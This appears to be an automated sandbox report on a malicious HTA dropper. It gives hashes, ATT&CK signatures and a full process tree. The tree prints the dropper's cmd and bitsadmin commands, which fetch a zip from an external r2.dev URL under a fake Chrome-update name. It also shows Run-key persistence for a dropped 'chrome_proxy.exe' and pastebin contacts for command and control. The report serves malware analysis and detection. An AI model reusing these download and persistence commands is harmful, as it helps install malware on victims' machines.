d63df3e8082d7906a5f9d58014b6df19a07b549cae2779d0e1bb337d5c8a3961

Analysis

max time kernel
148s
max time network
121s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/07/2026, 00:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
10056921274.hta
Size 21KB
Sample260727-anc84attdz
SHA256 d63df3e8082d7906a5f9d58014b6df19a07b549cae2779d0e1bb337d5c8a3961
MD5 c5bf6c88ceb624bcaaa62d2822bc5d80
SHA1 3df30b1e02f7ac44f5a4fccb4bb7f6b9b12c0155
SHA512 42ad1b19e170274b2437a35cba4f7d78ff4914ab1267bc8df313bd2db49e81915fabf7a823a53fdf465e2dc1cf9d1adc19acfc4c941ec641e6ae0f4ddafad6a6
SSDEEP 192:K9DtLtb0xuzBP+6JM7FBJMrPrZMD+IiPrfxsWH9FPOJ2na9VnLR9NfR9jYPJPgPv:A7FSvSL2dGS4BpE4ig96
TLSH
T1B4A2ADE0AB13DDE697186722674CAF498C733382C1852E79FA1D6D502AC9F21F1F911B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery dropper execution persistence

Malware Config

Signatures

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
1516	bitsadmin.exe
4116	bitsadmin.exe

Executes dropped EXE 2 IoCs

pid	Process
3936	chrome_proxy.exe
1132	chrome_proxy.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WebSearchInstalledVersion = "C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\DataStore\\chrome_proxy.exe"	chrome_proxy.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeServiceHost = "\"C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\DataStore\\chrome_proxy.exe\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000\Software\Microsoft\Windows\CurrentVersion\Run\WebSearchInstalledVersion = "C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\DataStore\\chrome_proxy.exe"	chrome_proxy.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	pastebin.com
15	pastebin.com
17	pastebin.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	api.ipify.org

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4372	cmd.exe
480	cmd.exe
1332	cmd.exe
4960	cmd.exe
3636	cmd.exe
3848	cmd.exe
4552	cmd.exe
4956	cmd.exe
4256	cmd.exe
1852	cmd.exe
2624	cmd.exe
2904	cmd.exe
5908	cmd.exe
1980	cmd.exe
2928	cmd.exe
472	cmd.exe
2096	cmd.exe
1812	cmd.exe
2408	cmd.exe
4564	cmd.exe
2716	cmd.exe
2644	cmd.exe
476	cmd.exe
2144	cmd.exe
2668	cmd.exe
4084	cmd.exe
2552	cmd.exe
5484	cmd.exe
3268	cmd.exe
3904	cmd.exe
3944	cmd.exe
3216	cmd.exe
5088	cmd.exe
4688	cmd.exe
3324	cmd.exe
3704	cmd.exe
1660	cmd.exe
5584	cmd.exe
4948	cmd.exe
1740	cmd.exe
2456	cmd.exe
908	cmd.exe
1268	cmd.exe
2236	cmd.exe
3264	cmd.exe
2420	cmd.exe
5872	cmd.exe
2528	cmd.exe
2848	cmd.exe
4180	cmd.exe
1084	cmd.exe
1716	cmd.exe
4776	cmd.exe
932	cmd.exe
2984	cmd.exe
4496	cmd.exe
3640	cmd.exe
3284	cmd.exe
4436	cmd.exe
4200	cmd.exe
4512	cmd.exe
1768	cmd.exe
240	cmd.exe
5496	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chrome_proxy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 64 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5412	PING.EXE
4816	PING.EXE
4948	cmd.exe
1128	PING.EXE
748	PING.EXE
5408	PING.EXE
4560	PING.EXE
1504	PING.EXE
2848	cmd.exe
2040	PING.EXE
4972	PING.EXE
5876	PING.EXE
4256	cmd.exe
2552	cmd.exe
476	cmd.exe
1084	cmd.exe
5588	PING.EXE
5500	PING.EXE
5452	PING.EXE
4688	cmd.exe
4084	cmd.exe
5800	PING.EXE
5412	PING.EXE
4740	PING.EXE
1512	PING.EXE
4552	cmd.exe
1124	PING.EXE
4420	PING.EXE
2408	cmd.exe
908	cmd.exe
2904	cmd.exe
712	PING.EXE
4372	cmd.exe
1740	cmd.exe
3904	cmd.exe
4436	cmd.exe
3332	PING.EXE
3272	cmd.exe
2236	cmd.exe
4496	cmd.exe
4244	PING.EXE
5088	cmd.exe
4740	PING.EXE
3216	cmd.exe
4156	PING.EXE
2740	PING.EXE
1524	cmd.exe
3356	PING.EXE
4152	PING.EXE
1872	PING.EXE
4564	cmd.exe
4776	cmd.exe
1436	PING.EXE
3324	cmd.exe
2668	cmd.exe
4512	cmd.exe
4208	PING.EXE
3380	PING.EXE
2096	cmd.exe
4632	PING.EXE
1452	PING.EXE
4820	PING.EXE
3872	cmd.exe
5596	cmd.exe

Runs ping.exe 1 TTPs 38 IoCs

Remote System Discovery

T1018

pid	Process
4244	PING.EXE
4208	PING.EXE
5412	PING.EXE
4740	PING.EXE
3380	PING.EXE
5844	PING.EXE
4560	PING.EXE
4156	PING.EXE
4632	PING.EXE
5408	PING.EXE
4152	PING.EXE
5412	PING.EXE
1512	PING.EXE
5452	PING.EXE
2740	PING.EXE
5588	PING.EXE
4820	PING.EXE
1452	PING.EXE
2040	PING.EXE
1128	PING.EXE
5800	PING.EXE
4740	PING.EXE
1872	PING.EXE
4816	PING.EXE
1504	PING.EXE
3332	PING.EXE
5500	PING.EXE
5876	PING.EXE
1124	PING.EXE
712	PING.EXE
4972	PING.EXE
5532	PING.EXE
3356	PING.EXE
1436	PING.EXE
748	PING.EXE
4420	PING.EXE
2980	PING.EXE
1292	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3936	chrome_proxy.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1388	mshta.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	620	shutdown.exe
Token: SeRemoteShutdownPrivilege	620	shutdown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1388 wrote to memory of 3676	1388	mshta.exe	89
PID 3676 wrote to memory of 3136	3676	cmd.exe	91
PID 1388 wrote to memory of 5484	1388	mshta.exe	94
PID 5484 wrote to memory of 4116	5484	cmd.exe	96
PID 1388 wrote to memory of 932	1388	mshta.exe	97
PID 932 wrote to memory of 1516	932	cmd.exe	99
PID 1388 wrote to memory of 2456	1388	mshta.exe	100
PID 2456 wrote to memory of 1984	2456	cmd.exe	102
PID 1388 wrote to memory of 2684	1388	mshta.exe	103
PID 2684 wrote to memory of 4684	2684	cmd.exe	105
PID 1388 wrote to memory of 788	1388	mshta.exe	106
PID 788 wrote to memory of 352	788	cmd.exe	108
PID 788 wrote to memory of 240	788	cmd.exe	109
PID 788 wrote to memory of 252	788	cmd.exe	110
PID 1388 wrote to memory of 4688	1388	mshta.exe	111
PID 4688 wrote to memory of 4208	4688	cmd.exe	113
PID 1388 wrote to memory of 1332	1388	mshta.exe	114
PID 1332 wrote to memory of 2944	1332	cmd.exe	116
PID 1332 wrote to memory of 2972	1332	cmd.exe	117
PID 1332 wrote to memory of 2380	1332	cmd.exe	118
PID 1388 wrote to memory of 4256	1388	mshta.exe	119
PID 4256 wrote to memory of 5412	4256	cmd.exe	121
PID 1388 wrote to memory of 2644	1388	mshta.exe	122
PID 2644 wrote to memory of 4608	2644	cmd.exe	124
PID 2644 wrote to memory of 4552	2644	cmd.exe	125
PID 2644 wrote to memory of 928	2644	cmd.exe	126
PID 1388 wrote to memory of 1524	1388	mshta.exe	127
PID 1524 wrote to memory of 4740	1524	cmd.exe	129
PID 1388 wrote to memory of 3268	1388	mshta.exe	130
PID 3268 wrote to memory of 4244	3268	cmd.exe	132
PID 3268 wrote to memory of 5340	3268	cmd.exe	133
PID 3268 wrote to memory of 2468	3268	cmd.exe	134
PID 1388 wrote to memory of 2236	1388	mshta.exe	135
PID 2236 wrote to memory of 748	2236	cmd.exe	137
PID 1388 wrote to memory of 3264	1388	mshta.exe	138
PID 3264 wrote to memory of 5096	3264	cmd.exe	140
PID 3264 wrote to memory of 4816	3264	cmd.exe	141
PID 3264 wrote to memory of 4952	3264	cmd.exe	142
PID 1388 wrote to memory of 3324	1388	mshta.exe	143
PID 3324 wrote to memory of 3380	3324	cmd.exe	145
PID 1388 wrote to memory of 1852	1388	mshta.exe	146
PID 1852 wrote to memory of 3912	1852	cmd.exe	148
PID 1852 wrote to memory of 5524	1852	cmd.exe	149
PID 1852 wrote to memory of 2980	1852	cmd.exe	150
PID 1388 wrote to memory of 2096	1388	mshta.exe	151
PID 2096 wrote to memory of 1872	2096	cmd.exe	153
PID 1388 wrote to memory of 2984	1388	mshta.exe	154
PID 2984 wrote to memory of 2568	2984	cmd.exe	156
PID 2984 wrote to memory of 1896	2984	cmd.exe	157
PID 2984 wrote to memory of 3256	2984	cmd.exe	158
PID 1388 wrote to memory of 4496	1388	mshta.exe	159
PID 4496 wrote to memory of 4632	4496	cmd.exe	161
PID 1388 wrote to memory of 3704	1388	mshta.exe	162
PID 3704 wrote to memory of 1316	3704	cmd.exe	164
PID 3704 wrote to memory of 5832	3704	cmd.exe	165
PID 3704 wrote to memory of 2812	3704	cmd.exe	166
PID 1388 wrote to memory of 3640	1388	mshta.exe	167
PID 3640 wrote to memory of 1124	3640	cmd.exe	169
PID 1388 wrote to memory of 4960	1388	mshta.exe	170
PID 4960 wrote to memory of 5940	4960	cmd.exe	172
PID 4960 wrote to memory of 5640	4960	cmd.exe	173
PID 4960 wrote to memory of 5684	4960	cmd.exe	174
PID 1388 wrote to memory of 3904	1388	mshta.exe	175
PID 3904 wrote to memory of 1452	3904	cmd.exe	177

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\10056921274.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:1388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /reset >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3676
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /reset
    3⤵
    PID:3136
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /create "DL969387" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /create "DL969387"
    3⤵
    - Download via BitsAdmin
    PID:4116
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /addfile "DL969387" "https://pub-4e6716450a1542889fe8ee576da71bee.r2.dev/nttrf.zip" "C:\Users\Admin\AppData\Local\Temp\DataStore_681\chrome_update.zip" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:932
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /addfile "DL969387" "https://pub-4e6716450a1542889fe8ee576da71bee.r2.dev/nttrf.zip" "C:\Users\Admin\AppData\Local\Temp\DataStore_681\chrome_update.zip"
    3⤵
    - Download via BitsAdmin
    - System Location Discovery: System Language Discovery
    PID:1516
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /setpriority "DL969387" foreground >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2456
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /setpriority "DL969387" foreground
    3⤵
    PID:1984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /resume "DL969387" >nul 2>&1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /resume "DL969387"
    3⤵
    PID:4684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:788
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:352
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:240
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:252
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4688
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4208
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:2944
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:2972
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:2380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5412
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:4608
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4552
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:928
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4740
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3268
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5340
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:748
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4816
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:4952
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1852
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:3912
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5524
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:2980
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1872
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:2568
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:1896
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    PID:3256
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4632
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1316
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5832
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4960
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5940
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:5640
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5684
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 2 >nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3904
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /list | findstr "DL969387" | findstr "TRANSFERRED" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3284
- - C:\Windows\SysWOW64\bitsadmin.exe
    bitsadmin /list
    3⤵
    PID:5972
- - C:\Windows\SysWOW64\findstr.exe
    findstr "DL969387"
    3⤵
    PID:1168
- - C:\Windows\SysWOW64\findstr.exe
    findstr "TRANSFERRED"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5420
